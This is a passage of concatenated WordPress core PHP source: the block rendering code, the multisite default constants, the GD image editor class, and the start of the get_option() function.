								$amended_button->set_attribute( $attribute_key, $attribute_value );
							}
							return $amended_button->get_updated_html();
						}
					} else {
						$block_reader->seek( 'iterate-selectors' );
					}
				}
				$block_reader->release_bookmark( 'iterate-selectors' );
				return $block_content;

			case 'attribute':
				$amended_content = new WP_HTML_Tag_Processor( $block_content );
				if ( ! $amended_content->next_tag(
					array(
						// TODO: build the query from CSS selector.
						'tag_name' => $block_type->attributes[ $attribute_name ]['selector'],
					)
				) ) {
					return $block_content;
				}
				$amended_content->set_attribute( $block_type->attributes[ $attribute_name ]['attribute'], $source_value );
				return $amended_content->get_updated_html();
				break;

			default:
				return $block_content;
				break;
		}
		return;
	}


	/**
	 * Generates the render output for the block.
	 *
	 * @since 5.5.0
	 * @since 6.5.0 Added block bindings processing.
	 *
	 * @global WP_Post $post Global post object.
	 *
	 * @param array $options {
	 *     Optional options object.
	 *
	 *     @type bool $dynamic Defaults to 'true'. Optionally set to false to avoid using the block's render_callback.
	 * }
	 * @return string Rendered block output.
	 */
	public function render( $options = array() ) {
		global $post;
		$options = wp_parse_args(
			$options,
			array(
				'dynamic' => true,
			)
		);

		// Process the block bindings and get attributes updated with the values from the sources.
		$computed_attributes = $this->process_block_bindings();
		if ( ! empty( $computed_attributes ) ) {
			// Merge the computed attributes with the original attributes.
			$this->attributes = array_merge( $this->attributes, $computed_attributes );
		}

		$is_dynamic    = $options['dynamic'] && $this->name && null !== $this->block_type && $this->block_type->is_dynamic();
		$block_content = '';

		if ( ! $options['dynamic'] || empty( $this->block_type->skip_inner_blocks ) ) {
			$index = 0;

			foreach ( $this->inner_content as $chunk ) {
				if ( is_string( $chunk ) ) {
					$block_content .= $chunk;
				} else {
					$inner_block  = $this->inner_blocks[ $index ];
					$parent_block = $this;

					/** This filter is documented in wp-includes/blocks.php */
					$pre_render = apply_filters( 'pre_render_block', null, $inner_block->parsed_block, $parent_block );

					if ( ! is_null( $pre_render ) ) {
						$block_content .= $pre_render;
					} else {
						$source_block = $inner_block->parsed_block;

						/** This filter is documented in wp-includes/blocks.php */
						$inner_block->parsed_block = apply_filters( 'render_block_data', $inner_block->parsed_block, $source_block, $parent_block );

						/** This filter is documented in wp-includes/blocks.php */
						$inner_block->context = apply_filters( 'render_block_context', $inner_block->context, $inner_block->parsed_block, $parent_block );

						$block_content .= $inner_block->render();
					}

					++$index;
				}
			}
		}

		if ( ! empty( $computed_attributes ) && ! empty( $block_content ) ) {
			foreach ( $computed_attributes as $attribute_name => $source_value ) {
				$block_content = $this->replace_html( $block_content, $attribute_name, $source_value );
			}
		}

		if ( $is_dynamic ) {
			$global_post = $post;
			$parent      = WP_Block_Supports::$block_to_render;

			WP_Block_Supports::$block_to_render = $this->parsed_block;

			$block_content = (string) call_user_func( $this->block_type->render_callback, $this->attributes, $block_content, $this );

			WP_Block_Supports::$block_to_render = $parent;

			$post = $global_post;
		}

		if ( ( ! empty( $this->block_type->script_handles ) ) ) {
			foreach ( $this->block_type->script_handles as $script_handle ) {
				wp_enqueue_script( $script_handle );
			}
		}

		if ( ! empty( $this->block_type->view_script_handles ) ) {
			foreach ( $this->block_type->view_script_handles as $view_script_handle ) {
				wp_enqueue_script( $view_script_handle );
			}
		}

		if ( ! empty( $this->block_type->view_script_module_ids ) ) {
			foreach ( $this->block_type->view_script_module_ids as $view_script_module_id ) {
				wp_enqueue_script_module( $view_script_module_id );
			}
		}

		if ( ( ! empty( $this->block_type->style_handles ) ) ) {
			foreach ( $this->block_type->style_handles as $style_handle ) {
				wp_enqueue_style( $style_handle );
			}
		}

		if ( ( ! empty( $this->block_type->view_style_handles ) ) ) {
			foreach ( $this->block_type->view_style_handles as $view_style_handle ) {
				wp_enqueue_style( $view_style_handle );
			}
		}

		/**
		 * Filters the content of a single block.
		 *
		 * @since 5.0.0
		 * @since 5.9.0 The `$instance` parameter was added.
		 *
		 * @param string   $block_content The block content.
		 * @param array    $block         The full block, including name and attributes.
		 * @param WP_Block $instance      The block instance.
		 */
		$block_content = apply_filters( 'render_block', $block_content, $this->parsed_block, $this );

		/**
		 * Filters the content of a single block.
		 *
		 * The dynamic portion of the hook name, `$name`, refers to
		 * the block name, e.g. "core/paragraph".
		 *
		 * @since 5.7.0
		 * @since 5.9.0 The `$instance` parameter was added.
		 *
		 * @param string   $block_content The block content.
		 * @param array    $block         The full block, including name and attributes.
		 * @param WP_Block $instance      The block instance.
		 */
		$block_content = apply_filters( "render_block_{$this->name}", $block_content, $this->parsed_block, $this );

		return $block_content;
	}
}
<?php
/**
 * Defines constants and global variables that can be overridden, generally in wp-config.php.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/**
 * Defines Multisite upload constants.
 *
 * Exists for backward compatibility with legacy file-serving through
 * wp-includes/ms-files.php (wp-content/blogs.php in MU).
 *
 * @since 3.0.0
 */
function ms_upload_constants() {
	// This filter is attached in ms-default-filters.php but that file is not included during SHORTINIT.
	add_filter( 'default_site_option_ms_files_rewriting', '__return_true' );

	if ( ! get_site_option( 'ms_files_rewriting' ) ) {
		return;
	}

	// Base uploads dir relative to ABSPATH.
	if ( ! defined( 'UPLOADBLOGSDIR' ) ) {
		define( 'UPLOADBLOGSDIR', 'wp-content/blogs.dir' );
	}

	/*
	 * Note, the main site in a post-MU network uses wp-content/uploads.
	 * This is handled in wp_upload_dir() by ignoring UPLOADS for this case.
	 */
	if ( ! defined( 'UPLOADS' ) ) {
		$site_id = get_current_blog_id();

		define( 'UPLOADS', UPLOADBLOGSDIR . '/' . $site_id . '/files/' );

		// Uploads dir relative to ABSPATH.
		if ( 'wp-content/blogs.dir' === UPLOADBLOGSDIR && ! defined( 'BLOGUPLOADDIR' ) ) {
			define( 'BLOGUPLOADDIR', WP_CONTENT_DIR . '/blogs.dir/' . $site_id . '/files/' );
		}
	}
}

/**
 * Defines Multisite cookie constants.
 *
 * @since 3.0.0
 */
function ms_cookie_constants() {
	$current_network = get_network();

	/**
	 * @since 1.2.0
	 */
	if ( ! defined( 'COOKIEPATH' ) ) {
		define( 'COOKIEPATH', $current_network->path );
	}

	/**
	 * @since 1.5.0
	 */
	if ( ! defined( 'SITECOOKIEPATH' ) ) {
		define( 'SITECOOKIEPATH', $current_network->path );
	}

	/**
	 * @since 2.6.0
	 */
	if ( ! defined( 'ADMIN_COOKIE_PATH' ) ) {
		$site_path = parse_url( get_option( 'siteurl' ), PHP_URL_PATH );
		if ( ! is_subdomain_install() || is_string( $site_path ) && trim( $site_path, '/' ) ) {
			define( 'ADMIN_COOKIE_PATH', SITECOOKIEPATH );
		} else {
			define( 'ADMIN_COOKIE_PATH', SITECOOKIEPATH . 'wp-admin' );
		}
	}

	/**
	 * @since 2.0.0
	 */
	if ( ! defined( 'COOKIE_DOMAIN' ) && is_subdomain_install() ) {
		if ( ! empty( $current_network->cookie_domain ) ) {
			define( 'COOKIE_DOMAIN', '.' . $current_network->cookie_domain );
		} else {
			define( 'COOKIE_DOMAIN', '.' . $current_network->domain );
		}
	}
}

/**
 * Defines Multisite file constants.
 *
 * Exists for backward compatibility with legacy file-serving through
 * wp-includes/ms-files.php (wp-content/blogs.php in MU).
 *
 * @since 3.0.0
 */
function ms_file_constants() {
	/**
	 * Optional support for X-Sendfile header
	 *
	 * @since 3.0.0
	 */
	if ( ! defined( 'WPMU_SENDFILE' ) ) {
		define( 'WPMU_SENDFILE', false );
	}

	/**
	 * Optional support for X-Accel-Redirect header
	 *
	 * @since 3.0.0
	 */
	if ( ! defined( 'WPMU_ACCEL_REDIRECT' ) ) {
		define( 'WPMU_ACCEL_REDIRECT', false );
	}
}

/**
 * Defines Multisite subdomain constants and handles warnings and notices.
 *
 * VHOST is deprecated in favor of SUBDOMAIN_INSTALL, which is a bool.
 *
 * On first call, the constants are checked and defined. On second call,
 * we will have translations loaded and can trigger warnings easily.
 *
 * @since 3.0.0
 */
function ms_subdomain_constants() {
	static $subdomain_error      = null;
	static $subdomain_error_warn = null;

	if ( false === $subdomain_error ) {
		return;
	}

	if ( $subdomain_error ) {
		$vhost_deprecated = sprintf(
			/* translators: 1: VHOST, 2: SUBDOMAIN_INSTALL, 3: wp-config.php, 4: is_subdomain_install() */
			__( 'The constant %1$s <strong>is deprecated</strong>. Use the boolean constant %2$s in %3$s to enable a subdomain configuration. Use %4$s to check whether a subdomain configuration is enabled.' ),
			'<code>VHOST</code>',
			'<code>SUBDOMAIN_INSTALL</code>',
			'<code>wp-config.php</code>',
			'<code>is_subdomain_install()</code>'
		);

		if ( $subdomain_error_warn ) {
			trigger_error(
				sprintf(
					/* translators: 1: VHOST, 2: SUBDOMAIN_INSTALL */
					__( '<strong>Conflicting values for the constants %1$s and %2$s.</strong> The value of %2$s will be assumed to be your subdomain configuration setting.' ),
					'<code>VHOST</code>',
					'<code>SUBDOMAIN_INSTALL</code>'
				) . ' ' . $vhost_deprecated,
				E_USER_WARNING
			);
		} else {
			_deprecated_argument( 'define()', '3.0.0', $vhost_deprecated );
		}

		return;
	}

	if ( defined( 'SUBDOMAIN_INSTALL' ) && defined( 'VHOST' ) ) {
		$subdomain_error = true;
		if ( SUBDOMAIN_INSTALL !== ( 'yes' === VHOST ) ) {
			$subdomain_error_warn = true;
		}
	} elseif ( defined( 'SUBDOMAIN_INSTALL' ) ) {
		$subdomain_error = false;
		define( 'VHOST', SUBDOMAIN_INSTALL ? 'yes' : 'no' );
	} elseif ( defined( 'VHOST' ) ) {
		$subdomain_error = true;
		define( 'SUBDOMAIN_INSTALL', 'yes' === VHOST );
	} else {
		$subdomain_error = false;
		define( 'SUBDOMAIN_INSTALL', false );
		define( 'VHOST', 'no' );
	}
}
<?php
/**
 * WordPress GD Image Editor
 *
 * @package WordPress
 * @subpackage Image_Editor
 */

/**
 * WordPress Image Editor Class for Image Manipulation through GD
 *
 * @since 3.5.0
 *
 * @see WP_Image_Editor
 */
class WP_Image_Editor_GD extends WP_Image_Editor {
	/**
	 * GD Resource.
	 *
	 * @var resource|GdImage
	 */
	protected $image;

	public function __destruct() {
		if ( $this->image ) {
			// We don't need the original in memory anymore.
			imagedestroy( $this->image );
		}
	}

	/**
	 * Checks to see if current environment supports GD.
	 *
	 * @since 3.5.0
	 *
	 * @param array $args
	 * @return bool
	 */
	public static function test( $args = array() ) {
		if ( ! extension_loaded( 'gd' ) || ! function_exists( 'gd_info' ) ) {
			return false;
		}

		// On some setups GD library does not provide imagerotate() - Ticket #11536.
		if ( isset( $args['methods'] ) &&
			in_array( 'rotate', $args['methods'], true ) &&
			! function_exists( 'imagerotate' ) ) {

				return false;
		}

		return true;
	}

	/**
	 * Checks to see if editor supports the mime-type specified.
	 *
	 * @since 3.5.0
	 *
	 * @param string $mime_type
	 * @return bool
	 */
	public static function supports_mime_type( $mime_type ) {
		$image_types = imagetypes();
		switch ( $mime_type ) {
			case 'image/jpeg':
				return ( $image_types & IMG_JPG ) != 0;
			case 'image/png':
				return ( $image_types & IMG_PNG ) != 0;
			case 'image/gif':
				return ( $image_types & IMG_GIF ) != 0;
			case 'image/webp':
				return ( $image_types & IMG_WEBP ) != 0;
			case 'image/avif':
				return ( $image_types & IMG_AVIF ) != 0;
		}

		return false;
	}

	/**
	 * Loads image from $this->file into new GD Resource.
	 *
	 * @since 3.5.0
	 *
	 * @return true|WP_Error True if loaded successfully; WP_Error on failure.
	 */
	public function load() {
		if ( $this->image ) {
			return true;
		}

		if ( ! is_file( $this->file ) && ! preg_match( '|^https?://|', $this->file ) ) {
			return new WP_Error( 'error_loading_image', __( 'File does not exist?' ), $this->file );
		}

		// Set artificially high because GD uses uncompressed images in memory.
		wp_raise_memory_limit( 'image' );

		$file_contents = @file_get_contents( $this->file );

		if ( ! $file_contents ) {
			return new WP_Error( 'error_loading_image', __( 'File does not exist?' ), $this->file );
		}

		// WebP may not work with imagecreatefromstring().
		if (
			function_exists( 'imagecreatefromwebp' ) &&
			( 'image/webp' === wp_get_image_mime( $this->file ) )
		) {
			$this->image = @imagecreatefromwebp( $this->file );
		} else {
			$this->image = @imagecreatefromstring( $file_contents );
		}

		// AVIF may not work with imagecreatefromstring().
		if (
			function_exists( 'imagecreatefromavif' ) &&
			( 'image/avif' === wp_get_image_mime( $this->file ) )
		) {
			$this->image = @imagecreatefromavif( $this->file );
		} else {
			$this->image = @imagecreatefromstring( $file_contents );
		}

		if ( ! is_gd_image( $this->image ) ) {
			return new WP_Error( 'invalid_image', __( 'File is not an image.' ), $this->file );
		}

		$size = wp_getimagesize( $this->file );

		if ( ! $size ) {
			return new WP_Error( 'invalid_image', __( 'Could not read image size.' ), $this->file );
		}

		if ( function_exists( 'imagealphablending' ) && function_exists( 'imagesavealpha' ) ) {
			imagealphablending( $this->image, false );
			imagesavealpha( $this->image, true );
		}

		$this->update_size( $size[0], $size[1] );
		$this->mime_type = $size['mime'];

		return $this->set_quality();
	}

	/**
	 * Sets or updates current image size.
	 *
	 * @since 3.5.0
	 *
	 * @param int $width
	 * @param int $height
	 * @return true
	 */
	protected function update_size( $width = false, $height = false ) {
		if ( ! $width ) {
			$width = imagesx( $this->image );
		}

		if ( ! $height ) {
			$height = imagesy( $this->image );
		}

		return parent::update_size( $width, $height );
	}

	/**
	 * Resizes current image.
	 *
	 * Wraps `::_resize()` which returns a GD resource or GdImage instance.
	 *
	 * At minimum, either a height or width must be provided. If one of the two is set
	 * to null, the resize will maintain aspect ratio according to the provided dimension.
	 *
	 * @since 3.5.0
	 *
	 * @param int|null   $max_w Image width.
	 * @param int|null   $max_h Image height.
	 * @param bool|array $crop  {
	 *     Optional. Image cropping behavior. If false, the image will be scaled (default).
	 *     If true, image will be cropped to the specified dimensions using center positions.
	 *     If an array, the image will be cropped using the array to specify the crop location:
	 *
	 *     @type string $0 The x crop position. Accepts 'left' 'center', or 'right'.
	 *     @type string $1 The y crop position. Accepts 'top', 'center', or 'bottom'.
	 * }
	 * @return true|WP_Error
	 */
	public function resize( $max_w, $max_h, $crop = false ) {
		if ( ( $this->size['width'] == $max_w ) && ( $this->size['height'] == $max_h ) ) {
			return true;
		}

		$resized = $this->_resize( $max_w, $max_h, $crop );

		if ( is_gd_image( $resized ) ) {
			imagedestroy( $this->image );
			$this->image = $resized;
			return true;

		} elseif ( is_wp_error( $resized ) ) {
			return $resized;
		}

		return new WP_Error( 'image_resize_error', __( 'Image resize failed.' ), $this->file );
	}

	/**
	 * @param int        $max_w
	 * @param int        $max_h
	 * @param bool|array $crop  {
	 *     Optional. Image cropping behavior. If false, the image will be scaled (default).
	 *     If true, image will be cropped to the specified dimensions using center positions.
	 *     If an array, the image will be cropped using the array to specify the crop location:
	 *
	 *     @type string $0 The x crop position. Accepts 'left' 'center', or 'right'.
	 *     @type string $1 The y crop position. Accepts 'top', 'center', or 'bottom'.
	 * }
	 * @return resource|GdImage|WP_Error
	 */
	protected function _resize( $max_w, $max_h, $crop = false ) {
		$dims = image_resize_dimensions( $this->size['width'], $this->size['height'], $max_w, $max_h, $crop );

		if ( ! $dims ) {
			return new WP_Error( 'error_getting_dimensions', __( 'Could not calculate resized image dimensions' ), $this->file );
		}

		list( $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h ) = $dims;

		$resized = wp_imagecreatetruecolor( $dst_w, $dst_h );
		imagecopyresampled( $resized, $this->image, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h );

		if ( is_gd_image( $resized ) ) {
			$this->update_size( $dst_w, $dst_h );
			return $resized;
		}

		return new WP_Error( 'image_resize_error', __( 'Image resize failed.' ), $this->file );
	}

	/**
	 * Create multiple smaller images from a single source.
	 *
	 * Attempts to create all sub-sizes and returns the meta data at the end. This
	 * may result in the server running out of resources. When it fails there may be few
	 * "orphaned" images left over as the meta data is never returned and saved.
	 *
	 * As of 5.3.0 the preferred way to do this is with `make_subsize()`. It creates
	 * the new images one at a time and allows for the meta data to be saved after
	 * each new image is created.
	 *
	 * @since 3.5.0
	 *
	 * @param array $sizes {
	 *     An array of image size data arrays.
	 *
	 *     Either a height or width must be provided.
	 *     If one of the two is set to null, the resize will
	 *     maintain aspect ratio according to the source image.
	 *
	 *     @type array ...$0 {
	 *         Array of height, width values, and whether to crop.
	 *
	 *         @type int        $width  Image width. Optional if `$height` is specified.
	 *         @type int        $height Image height. Optional if `$width` is specified.
	 *         @type bool|array $crop   Optional. Whether to crop the image. Default false.
	 *     }
	 * }
	 * @return array An array of resized images' metadata by size.
	 */
	public function multi_resize( $sizes ) {
		$metadata = array();

		foreach ( $sizes as $size => $size_data ) {
			$meta = $this->make_subsize( $size_data );

			if ( ! is_wp_error( $meta ) ) {
				$metadata[ $size ] = $meta;
			}
		}

		return $metadata;
	}

	/**
	 * Create an image sub-size and return the image meta data value for it.
	 *
	 * @since 5.3.0
	 *
	 * @param array $size_data {
	 *     Array of size data.
	 *
	 *     @type int        $width  The maximum width in pixels.
	 *     @type int        $height The maximum height in pixels.
	 *     @type bool|array $crop   Whether to crop the image to exact dimensions.
	 * }
	 * @return array|WP_Error The image data array for inclusion in the `sizes` array in the image meta,
	 *                        WP_Error object on error.
	 */
	public function make_subsize( $size_data ) {
		if ( ! isset( $size_data['width'] ) && ! isset( $size_data['height'] ) ) {
			return new WP_Error( 'image_subsize_create_error', __( 'Cannot resize the image. Both width and height are not set.' ) );
		}

		$orig_size = $this->size;

		if ( ! isset( $size_data['width'] ) ) {
			$size_data['width'] = null;
		}

		if ( ! isset( $size_data['height'] ) ) {
			$size_data['height'] = null;
		}

		if ( ! isset( $size_data['crop'] ) ) {
			$size_data['crop'] = false;
		}

		$resized = $this->_resize( $size_data['width'], $size_data['height'], $size_data['crop'] );

		if ( is_wp_error( $resized ) ) {
			$saved = $resized;
		} else {
			$saved = $this->_save( $resized );
			imagedestroy( $resized );
		}

		$this->size = $orig_size;

		if ( ! is_wp_error( $saved ) ) {
			unset( $saved['path'] );
		}

		return $saved;
	}

	/**
	 * Crops Image.
	 *
	 * @since 3.5.0
	 *
	 * @param int  $src_x   The start x position to crop from.
	 * @param int  $src_y   The start y position to crop from.
	 * @param int  $src_w   The width to crop.
	 * @param int  $src_h   The height to crop.
	 * @param int  $dst_w   Optional. The destination width.
	 * @param int  $dst_h   Optional. The destination height.
	 * @param bool $src_abs Optional. If the source crop points are absolute.
	 * @return true|WP_Error
	 */
	public function crop( $src_x, $src_y, $src_w, $src_h, $dst_w = null, $dst_h = null, $src_abs = false ) {
		/*
		 * If destination width/height isn't specified,
		 * use same as width/height from source.
		 */
		if ( ! $dst_w ) {
			$dst_w = $src_w;
		}
		if ( ! $dst_h ) {
			$dst_h = $src_h;
		}

		foreach ( array( $src_w, $src_h, $dst_w, $dst_h ) as $value ) {
			if ( ! is_numeric( $value ) || (int) $value <= 0 ) {
				return new WP_Error( 'image_crop_error', __( 'Image crop failed.' ), $this->file );
			}
		}

		$dst = wp_imagecreatetruecolor( (int) $dst_w, (int) $dst_h );

		if ( $src_abs ) {
			$src_w -= $src_x;
			$src_h -= $src_y;
		}

		if ( function_exists( 'imageantialias' ) ) {
			imageantialias( $dst, true );
		}

		imagecopyresampled( $dst, $this->image, 0, 0, (int) $src_x, (int) $src_y, (int) $dst_w, (int) $dst_h, (int) $src_w, (int) $src_h );

		if ( is_gd_image( $dst ) ) {
			imagedestroy( $this->image );
			$this->image = $dst;
			$this->update_size();
			return true;
		}

		return new WP_Error( 'image_crop_error', __( 'Image crop failed.' ), $this->file );
	}

	/**
	 * Rotates current image counter-clockwise by $angle.
	 * Ported from image-edit.php
	 *
	 * @since 3.5.0
	 *
	 * @param float $angle
	 * @return true|WP_Error
	 */
	public function rotate( $angle ) {
		if ( function_exists( 'imagerotate' ) ) {
			$transparency = imagecolorallocatealpha( $this->image, 255, 255, 255, 127 );
			$rotated      = imagerotate( $this->image, $angle, $transparency );

			if ( is_gd_image( $rotated ) ) {
				imagealphablending( $rotated, true );
				imagesavealpha( $rotated, true );
				imagedestroy( $this->image );
				$this->image = $rotated;
				$this->update_size();
				return true;
			}
		}

		return new WP_Error( 'image_rotate_error', __( 'Image rotate failed.' ), $this->file );
	}

	/**
	 * Flips current image.
	 *
	 * @since 3.5.0
	 *
	 * @param bool $horz Flip along Horizontal Axis.
	 * @param bool $vert Flip along Vertical Axis.
	 * @return true|WP_Error
	 */
	public function flip( $horz, $vert ) {
		$w   = $this->size['width'];
		$h   = $this->size['height'];
		$dst = wp_imagecreatetruecolor( $w, $h );

		if ( is_gd_image( $dst ) ) {
			$sx = $vert ? ( $w - 1 ) : 0;
			$sy = $horz ? ( $h - 1 ) : 0;
			$sw = $vert ? -$w : $w;
			$sh = $horz ? -$h : $h;

			if ( imagecopyresampled( $dst, $this->image, 0, 0, $sx, $sy, $w, $h, $sw, $sh ) ) {
				imagedestroy( $this->image );
				$this->image = $dst;
				return true;
			}
		}

		return new WP_Error( 'image_flip_error', __( 'Image flip failed.' ), $this->file );
	}

	/**
	 * Saves current in-memory image to file.
	 *
	 * @since 3.5.0
	 * @since 5.9.0 Renamed `$filename` to `$destfilename` to match parent class
	 *              for PHP 8 named parameter support.
	 * @since 6.0.0 The `$filesize` value was added to the returned array.
	 *
	 * @param string|null $destfilename Optional. Destination filename. Default null.
	 * @param string|null $mime_type    Optional. The mime-type. Default null.
	 * @return array|WP_Error {
	 *     Array on success or WP_Error if the file failed to save.
	 *
	 *     @type string $path      Path to the image file.
	 *     @type string $file      Name of the image file.
	 *     @type int    $width     Image width.
	 *     @type int    $height    Image height.
	 *     @type string $mime-type The mime type of the image.
	 *     @type int    $filesize  File size of the image.
	 * }
	 */
	public function save( $destfilename = null, $mime_type = null ) {
		$saved = $this->_save( $this->image, $destfilename, $mime_type );

		if ( ! is_wp_error( $saved ) ) {
			$this->file      = $saved['path'];
			$this->mime_type = $saved['mime-type'];
		}

		return $saved;
	}

	/**
	 * @since 3.5.0
	 * @since 6.0.0 The `$filesize` value was added to the returned array.
	 *
	 * @param resource|GdImage $image
	 * @param string|null      $filename
	 * @param string|null      $mime_type
	 * @return array|WP_Error {
	 *     Array on success or WP_Error if the file failed to save.
	 *
	 *     @type string $path      Path to the image file.
	 *     @type string $file      Name of the image file.
	 *     @type int    $width     Image width.
	 *     @type int    $height    Image height.
	 *     @type string $mime-type The mime type of the image.
	 *     @type int    $filesize  File size of the image.
	 * }
	 */
	protected function _save( $image, $filename = null, $mime_type = null ) {
		list( $filename, $extension, $mime_type ) = $this->get_output_format( $filename, $mime_type );

		if ( ! $filename ) {
			$filename = $this->generate_filename( null, null, $extension );
		}

		if ( function_exists( 'imageinterlace' ) ) {
			/**
			 * Filters whether to output progressive images (if available).
			 *
			 * @since 6.5.0
			 *
			 * @param bool   $interlace Whether to use progressive images for output if available. Default false.
			 * @param string $mime_type The mime type being saved.
			 */
			imageinterlace( $image, apply_filters( 'image_save_progressive', false, $mime_type ) );
		}

		if ( 'image/gif' === $mime_type ) {
			if ( ! $this->make_image( $filename, 'imagegif', array( $image, $filename ) ) ) {
				return new WP_Error( 'image_save_error', __( 'Image Editor Save Failed' ) );
			}
		} elseif ( 'image/png' === $mime_type ) {
			// Convert from full colors to index colors, like original PNG.
			if ( function_exists( 'imageistruecolor' ) && ! imageistruecolor( $image ) ) {
				imagetruecolortopalette( $image, false, imagecolorstotal( $image ) );
			}

			if ( ! $this->make_image( $filename, 'imagepng', array( $image, $filename ) ) ) {
				return new WP_Error( 'image_save_error', __( 'Image Editor Save Failed' ) );
			}
		} elseif ( 'image/jpeg' === $mime_type ) {
			if ( ! $this->make_image( $filename, 'imagejpeg', array( $image, $filename, $this->get_quality() ) ) ) {
				return new WP_Error( 'image_save_error', __( 'Image Editor Save Failed' ) );
			}
		} elseif ( 'image/webp' == $mime_type ) {
			if ( ! function_exists( 'imagewebp' ) || ! $this->make_image( $filename, 'imagewebp', array( $image, $filename, $this->get_quality() ) ) ) {
				return new WP_Error( 'image_save_error', __( 'Image Editor Save Failed' ) );
			}
		} elseif ( 'image/avif' == $mime_type ) {
			if ( ! function_exists( 'imageavif' ) || ! $this->make_image( $filename, 'imageavif', array( $image, $filename, $this->get_quality() ) ) ) {
				return new WP_Error( 'image_save_error', __( 'Image Editor Save Failed' ) );
			}
		} else {
			return new WP_Error( 'image_save_error', __( 'Image Editor Save Failed' ) );
		}

		// Set correct file permissions.
		$stat  = stat( dirname( $filename ) );
		$perms = $stat['mode'] & 0000666; // Same permissions as parent folder, strip off the executable bits.
		chmod( $filename, $perms );

		return array(
			'path'      => $filename,
			/**
			 * Filters the name of the saved image file.
			 *
			 * @since 2.6.0
			 *
			 * @param string $filename Name of the file.
			 */
			'file'      => wp_basename( apply_filters( 'image_make_intermediate_size', $filename ) ),
			'width'     => $this->size['width'],
			'height'    => $this->size['height'],
			'mime-type' => $mime_type,
			'filesize'  => wp_filesize( $filename ),
		);
	}

	/**
	 * Returns stream of current image.
	 *
	 * @since 3.5.0
	 *
	 * @param string $mime_type The mime type of the image.
	 * @return bool True on success, false on failure.
	 */
	public function stream( $mime_type = null ) {
		list( $filename, $extension, $mime_type ) = $this->get_output_format( null, $mime_type );

		switch ( $mime_type ) {
			case 'image/png':
				header( 'Content-Type: image/png' );
				return imagepng( $this->image );
			case 'image/gif':
				header( 'Content-Type: image/gif' );
				return imagegif( $this->image );
			case 'image/webp':
				if ( function_exists( 'imagewebp' ) ) {
					header( 'Content-Type: image/webp' );
					return imagewebp( $this->image, null, $this->get_quality() );
				} else {
					// Fall back to JPEG.
					header( 'Content-Type: image/jpeg' );
					return imagejpeg( $this->image, null, $this->get_quality() );
				}
			case 'image/avif':
				if ( function_exists( 'imageavif' ) ) {
					header( 'Content-Type: image/avif' );
					return imageavif( $this->image, null, $this->get_quality() );
				}
				// Fall back to JPEG.
			default:
				header( 'Content-Type: image/jpeg' );
				return imagejpeg( $this->image, null, $this->get_quality() );
		}
	}

	/**
	 * Either calls editor's save function or handles file as a stream.
	 *
	 * @since 3.5.0
	 *
	 * @param string   $filename
	 * @param callable $callback
	 * @param array    $arguments
	 * @return bool
	 */
	protected function make_image( $filename, $callback, $arguments ) {
		if ( wp_is_stream( $filename ) ) {
			$arguments[1] = null;
		}

		return parent::make_image( $filename, $callback, $arguments );
	}
}
<?php
/**
 * Option API
 *
 * @package WordPress
 * @subpackage Option
 */

/**
 * Retrieves an option value based on an option name.
 *
 * If the option does not exist, and a default value is not provided,
 * boolean false is returned. This could be used to check whether you need
 * to initialize an option during installation of a plugin, however that
 * can be done better by using add_option() which will not overwrite
 * existing options.
 *
 * Not initializing an option and using boolean `false` as a return value
 * is a bad practice as it triggers an additional database query.
 *
 * The type of the returned value can be different from the type that was passed
 * when saving or updating the option. If the option value was serialized,
 * then it will be unserialized when it is returned. In this case the type will
 * be the same. For example, storing a non-scalar value like an array will
 * return the same array.
 *
 * In most cases non-string scalar and null values will be converted and returned
 * as string equivalents.
 *
 * Exceptions:
 *
 * 1. When the option has not been saved in the database, the `$default_value` value
 *    is returned if provided. If not, boolean `false` is returned.
 * 2. When one of the Options API filters is used: {@see 'pre_option_$option'},
 *    {@see 'default_option_$option'}, or {@see 'option_$option'}, the returned
 *    value may not match the expected type.
 * 3. When the option has just been saved in the database, and get_option()
 *    is used right after, non-string scalar and null values are not converted to
 *    string equivalents and the original type is returned.
 *
 * Examples:
 *
 * When adding options like this: `add_option( 'my_option_name', 'value' )`
 * and then retrieving them with `get_option( 'my_option_name' )`, the returned
 * values will be:
 *
 *   - `false` returns `string(0) ""`
 *   - `true`  returns `string(1) "1"`
 *   - `0`     returns `string(1) "0"`
 *   - `1`     returns `string(1) "1"`
 *   - `'0'`   returns `string(1) "0"`
 *   - `'1'`   returns `string(1) "1"`
 *   - `null`  returns `string(0) ""`
 *
 * When adding options with non-scalar values like
 * `add_option( 'my_array', array( false, 'str', null ) )`, the returned value
 * will be identical to the original as it is serialized before saving
 * it in the database:
 *
 *     array(3) {
 *         [0] => bool(false)
 *         [1] => string(3) "str"
 *         [2] => NULL
 *     }
 *
 * @since 1.5.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $option        Name of the option to retrieve. Expected to not be SQL-escaped.
 * @param mixed  $default_value Optional. Default value to return if the option does not exist.
 * @return mixed Value of the option. A value of any type may be returned, including
 *               scalar (string, boolean, float, integer), null, array, object.
 *               Scalar and null values will be returned as strings as long as they originate
 *               from a database stored option value. If there is no option in the database,
 *               boolean `false` is returned.
 */
function get_option( $option, $default_value = false ) {
	global $wpdb;

	if ( is_scalar( $option ) ) {
		$option = trim( $option );
	}

	if ( empty( $option ) ) {
		return false;
	}

	/*
	 * Until a proper _deprecated_option() function can be introduced,
	 * redirect requests to deprecated keys to the new, correct ones.
	 */
	$deprecated_keys = array(
		'blacklist_keys'    => 'disallowed_keys',
		'comment_whitelist' => 'comment_previously_approved',
	);

	if ( isset( $deprecated_keys[ $option ] ) && ! wp_installing() ) {
		_deprecated_argument(
			__FUNCTION__,
			'5.5.0',
			sprintf(
				/* translators: 1: Deprecated option key, 2: New option key. */
				__( 'The "%1$s" option key has been renamed to "%2$s".' ),
				$option,
				$deprecated_keys[ $option ]
			)
		);
		return get_option( $deprecated_keys[ $option ], $default_value );
	}

	/**
	 * Filters the value of an existing option before it is retrieved.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * Returning a value other than false from the filter will short-circuit retrieval
	 * and return that value instead.
	 *
	 * @since 1.5.0
	 * @since 4.4.0 The `$option` parameter was added.
	 * @since 4.9.0 The `$default_value` parameter was added.
	 *
	 * @param mixed  $pre_option    The value to return instead of the option value. This differs from
	 *                              `$default_value`, which is used as the fallback value in the event
	 *                              the option doesn't exist elsewhere in get_option().
	 *                              Default false (to skip past the short-circuit).
	 * @param string $option        Option name.
